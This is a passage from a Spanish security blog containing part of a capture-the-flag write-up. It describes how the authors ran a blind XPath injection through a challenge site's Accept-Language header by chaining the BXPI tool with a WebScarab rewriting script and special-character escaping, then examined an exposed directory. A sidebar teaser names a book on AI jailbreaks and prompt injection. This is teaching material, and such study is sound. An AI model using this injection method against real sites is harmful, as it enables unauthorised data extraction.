Si os fijáis bien, la transformación deberá consistir en extraer la condición de arriba (en rojo), a la que le falta una comilla de cierre (añadida en verde en la cadena de abajo) y finalmente insertarla en una construcción compatible con el proceso de booleanización que ya explicamos anteriormente.

Lugar de la inyección.

BXPI no permite inyectar en una cabecera HTTP cualquiera. De hecho, sólo soporta utilizar un parámetro GET. Las peticiones que enviará BXPI serán del tipo:

GET http://retohackingx.elladodelmal.com:80/privado/rhx_level2_homer.aspx?&lang=xxx& HTTP/1.1

Observamos que BXPI envía incorrectamente separadores de parámetros (“&”) que realmente no son necesarios. Pero en cualquier caso no nos importa: basta con extraer de la petición la cadena de inyección (en rojo). El nombre del parámetro usado tampoco importa y nos lo inventamos nosotros mismos a la hora de configurar BXPI.

El código Java que se ha diseñado extrae la cadena a partir del primer “=” y que acabe en “&” (que se corresponde exactamente con la cadena marcada en rojo). También se encargará de insertar la cadena convenientemente tratada y modificada en la cabecera “Accept-Language”, es decir, aquella vulnerable a inyección XPath.

Codificaciones especiales.

Tal y como vimos anteriormente, el guión (“-”) y la coma (“,”) necesitan ser “escapados”. Para ello los reemplazamos en la cadena a inyectar por “%2D” y “%2C”, respectivamente.

Manejo de cookies.

BXPI no soporta cookies. Necesitaríamos implementar esta funcionalidad en nuestro script. El problema es que el script no tiene estado sino que es una simple función de transformación que reescribe una petición web realizando siempre los mismos cambios y no tiene una variable de estado que se pueda leer/escribir para pasar datos entre peticiones. Se nos ocurren varias soluciones: una podría ser abrir desde Java un fichero donde se lea/escriba la cookie de sesión, y que antes de lanzar el proceso de inyección habría sido convenientemente inicializado con una cookie válida. Finalmente caemos en la cuenta de que WebScarab ya contempla esta necesidad de manejo de cookies y bastará con marcar un “check-box” en la configuración para tener el problema resuelto.

El script que implementa todo lo explicado más arriba es el siguiente:


Script en WebScarab

Y la opción de WebScarab que permite delegar el manejo de cookies a la propia herramienta se encuentra en:


Delegación del manejo de cookies en WebScarab

El proceso completo, una vez configurado WebScarab adecuadamente, pasaría por navegar a la página del reto vulnerable con Internet Explorer con el Proxy configurado (para que WebScarab guarde la cookie de sesión) y posteriormente arrancar BXPI (que tomará la configuración de Proxy del Internet Explorer), teclear la URL (http://retohackingx.elladodelmal.com:80/privado/rhx_level2_homer.aspx), pinchar en “Cargar Página” y añadir un parámetro “lang” que se marcará como inyectable. Finalmente arrancamos el proceso de inyección ciega y tras unas horas obtendremos el mismo XML que obtuvo la herramienta de Dani:


Fichero XML obtenido

Volviendo al XML, todo hacía pensar que la URL del último comentario era la que nos llevaría a la solución de la fase, pero nada más lejos de la realidad, porque en realidad nos redirige a un vídeo de YouTube que nada tenía que ver con el reto (Rick Astley - Never Gonna Give You Up).

Puesto que en el contenido de los ficheros CSS tampoco encontramos ninguna información de utilidad, solamente nos queda seguir analizando ese directorio que por su nombre tan peculiar (“estilosestilosos”) parece que se nos haya querido ocultar e impedir su acceso fortuito sin haber resuelto esta fase.

Al acceder a la ruta de “estilosestilosos” usando un navegador web, observamos que el servidor nos lista todo el contenido del directorio. Llaman la atención dos fragmentos de ficheros de Word de 162 bytes, ambos idénticos, cuyos nombres eran “~$temp.doc” y “~$ticion_homer_simpson.doc”.

Tras examinar minuciosamente todo su contenido, únicamente podíamos leer las cadenas “Way.Smithers” y “Docu”, por más que intentemos extraer algún metadato adicional (usando la herramienta FOCA online o incluso su versión de escritorio no obteníamos nada).

[Continuará...]

Autores del Solucionario: Dani Kachakil & RoMaNSoFt

*****************************************************************************************
- Reto Hacking X: Solucionario (I de III)
- Reto Hacking X: Solucionario (II de III)
- Reto Hacking X: Solucionario (III de III)
*****************************************************************************************

miércoles, abril 18, 2007

Solución al segundo Reto hacking

Hola a todos,

os había prometido hacerlo público el día 19, pero parece que ese día no voy a tener mucho tiempo, así que, como ya lleva dos meses, lo publico hoy. La solución la ha escrito de nuevo Daniel Kachakil, y en esta vez campeón del mismo. Enhorabuena, te pasaré la caricatura. Ya os aviso que estamos haciendo el tercer reto porque nos hemos encontrado una cosa muy divertida en la zona privada de una extranet y lo vamnos a reproducir, será un reto en tres pasos, espero que más fácil que estos, aunque una vez que se ven las soluciones, no son tan dificiles, ¿verdad?

No olvidéis nunca que el objetivo de estos retos es puramente didactico, así que todos serán siempre resolubles y nunca tendrán nada muy raro ya que, además, todos están sacados de fallos reales que nos encontramos en auditorías de seguridad.

Os dejo los links de los retos y sus solucionarios y para después del puente de mayo estára el tercer reto hacking con nuevos y poderosos premios (vamos en la línea habitual).

!Enhorabuena a los 5 que han sacado este reto!

- Primer Reto Hacking
- Solucionario Primer Reto Hacking
- Segundo Reto Hacking
- Solucionario Segundo Reto Hacking por Daniel Kachakil

Bies Malignos!

Entrada destacada

Hacking IA: Jailbreak, Prompt Injection, Hallucinations & Unalignment. Nuestro nuevo libro en 0xWord

Pocas veces me ha hecho tanta ilusión que saliera un nuevo libro en 0xWord como con este libro de " Hacking IA: Jailbreak, Prompt Inje...

Entradas populares